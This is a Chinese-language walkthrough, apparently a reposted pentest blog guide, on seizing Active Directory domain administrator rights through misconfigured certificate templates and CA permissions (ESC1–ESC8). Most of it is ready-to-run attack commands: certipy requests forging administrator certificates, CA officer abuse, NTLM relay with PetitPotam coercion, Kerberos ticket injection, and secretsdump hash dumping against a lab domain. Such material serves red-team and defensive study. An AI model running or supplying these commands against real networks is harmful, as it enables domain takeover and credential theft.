利用ADCS不安全模板配置提升域权限
字数 1014 2025-08-25 22:58:41

利用ADCS不安全模板配置提升域权限技术指南

前言

本指南详细介绍了Active Directory证书服务(ADCS)中因不安全模板配置导致的域权限提升漏洞。基于2021年BlackHat发布的《Certified_Pre-Owned》白皮书,总结了实战中常见的七种错误模板配置(ESC1-ESC8)及其利用方法。

测试环境

  • 攻击机: 10.128.20.123
  • ADCS服务器: 10.211.55.20
  • 域控: 10.211.55.18
  • 注意: 所有测试均可从域外发起攻击

错误模板类型及利用方法

ESC1 - 基础模板漏洞

所需配置条件

  1. 用户具有证书注册权限
  2. 模板允许客户端身份验证或智能卡登录
  3. CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志开启

配置步骤

  1. certtmpl.msc中复制"工作站身份认证"模板
  2. 修改模板名称
  3. 在"扩展→应用程序策略"中加入客户端身份认证
  4. 在"安全"中为Domain Users添加注册权限
  5. 在"使用者名称"中选择"在请求中提供"

漏洞发现

certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug

漏洞利用

# 请求证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC1 -upn administrator@lhc.local -dns 2019-AD.lhc.local

# 身份验证
certipy auth -pfx administrator_2019-ad.pfx -dc-ip 10.211.55.18

ESC2 - 错误配置模板

特征

  • 模板定义了"Any Purpose"类型的EKU,使证书可用于任何目的

漏洞发现

certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug

漏洞利用

# 申请ESC2模板证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC2

# 代理申请管理员证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx

# 身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18

ESC3 - 证书申请代理漏洞

配置1特征

  • 模板定义了"证书申请代理"的EKU

配置2特征

  • 发布要求修改为需要授权签名

漏洞发现

certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug

漏洞利用

# 申请ESC3模板证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC3

# 代理申请管理员证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx

# 身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18

ESC4 - 写入权限漏洞

特征

  • 用户对证书模板具有写入权限,可修改配置使其易受ESC1攻击

利用方法

# 备份并修改ESC4模板配置
certipy template -u hack@lhc.local -p 123@Qwe -template ESC4_1 -save-old

# 利用新模板申请证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC4_1 -upn administrator@lhc.local

# 身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18

# 恢复模板
certipy template -u hack@lhc.local -p 123@Qwe -template ESC4 -configuration ESC4.json

ESC6 - SAN(主题备用名)漏洞

前提条件

  • 启用EDITF_ATTRIBUTESUBJECTALTNAME2标志:
    certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
    net stop certsvc
    net start certsvc
    

攻击利用

# 请求User模板证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -upn administrator@lhc.local

# 身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18

ESC7 - 管理CA权限漏洞

特征

  • 用户或所属组拥有管理CA权限

漏洞发现

certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable

利用步骤

  1. 添加管理证书权限:

    certipy ca -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -add-officer hack
    
  2. 查看/启用SubCA模板:

    certipy ca -ca Lhc-CS2016-CA -enable-template SubCA -u hack@lhc.local -p 123@Qwe -target 10.211.55.20
    
  3. 请求SubCA模板证书(记录ID):

    certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template SubCA -upn administrator@lhc.local
    
  4. 颁发证书:

    certipy ca -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -issue-request <ID>
    
  5. 检索证书并认证:

    certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -retrieve <ID>
    certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
    

ESC8 - 中继攻击漏洞

利用过程

  1. ADCS认证端点:

    http://10.211.55.20/certsrv/certfnsh.asp
    
  2. 查看CA机器:

    certutil -config - -ping
    certutil -dump -v
    
  3. 设置中继目标:

    python3 ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'
    
  4. 强制认证(使用PetitPotam等工具):

    python PetitPotam.py -u '' -d '' -p '' 攻击机IP 目标机器IP
    
  5. 获取并注入票据:

    # Rubeus
    Rubeus.exe asktgt /user:HC$ /certificate:certificatebase64body /ptt
    
    # gettgtpkinit.py
    python3 gettgtpkinit.py Lhc.local/2019-AD$ -pfx-base64 -pfx-base64 <证书> kirbi.ccache
    export KRB5CCNAME=kirbi.ccache
    
  6. 提取哈希:

    python3 secretsdump.py -k -no-pass 2019-AD.lhc.local
    

Windows环境利用

  1. 转发445端口(需管理员权限):

    divertTCPConn.exe 445 4455 debug
    
  2. 监听:

    python.exe ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --smb-port 4455 --adcs --template DomainController
    

参考资源

  1. Certified_Pre-Owned白皮书
  2. Certipy工具
  3. DivertTCPconn工具
  4. Python环境打包参考
利用ADCS不安全模板配置提升域权限技术指南 前言 本指南详细介绍了Active Directory证书服务(ADCS)中因不安全模板配置导致的域权限提升漏洞。基于2021年BlackHat发布的《Certified_ Pre-Owned》白皮书,总结了实战中常见的七种错误模板配置(ESC1-ESC8)及其利用方法。 测试环境 攻击机 : 10.128.20.123 ADCS服务器 : 10.211.55.20 域控 : 10.211.55.18 注意 : 所有测试均可从域外发起攻击 错误模板类型及利用方法 ESC1 - 基础模板漏洞 所需配置条件 用户具有证书注册权限 模板允许客户端身份验证或智能卡登录 CT_ FLAG_ ENROLLEE_ SUPPLIES_ SUBJECT标志开启 配置步骤 在 certtmpl.msc 中复制"工作站身份认证"模板 修改模板名称 在"扩展→应用程序策略"中加入客户端身份认证 在"安全"中为Domain Users添加注册权限 在"使用者名称"中选择"在请求中提供" 漏洞发现 漏洞利用 ESC2 - 错误配置模板 特征 模板定义了"Any Purpose"类型的EKU,使证书可用于任何目的 漏洞发现 漏洞利用 ESC3 - 证书申请代理漏洞 配置1特征 模板定义了"证书申请代理"的EKU 配置2特征 发布要求修改为需要授权签名 漏洞发现 漏洞利用 ESC4 - 写入权限漏洞 特征 用户对证书模板具有写入权限,可修改配置使其易受ESC1攻击 利用方法 ESC6 - SAN(主题备用名)漏洞 前提条件 启用EDITF_ ATTRIBUTESUBJECTALTNAME2标志: 攻击利用 ESC7 - 管理CA权限漏洞 特征 用户或所属组拥有管理CA权限 漏洞发现 利用步骤 添加管理证书权限: 查看/启用SubCA模板: 请求SubCA模板证书(记录ID): 颁发证书: 检索证书并认证: ESC8 - 中继攻击漏洞 利用过程 ADCS认证端点 : 查看CA机器 : 设置中继目标 : 强制认证 (使用PetitPotam等工具): 获取并注入票据 : 提取哈希 : Windows环境利用 转发445端口(需管理员权限): 监听: 参考资源 Certified_ Pre-Owned白皮书 Certipy工具 DivertTCPconn工具 Python环境打包参考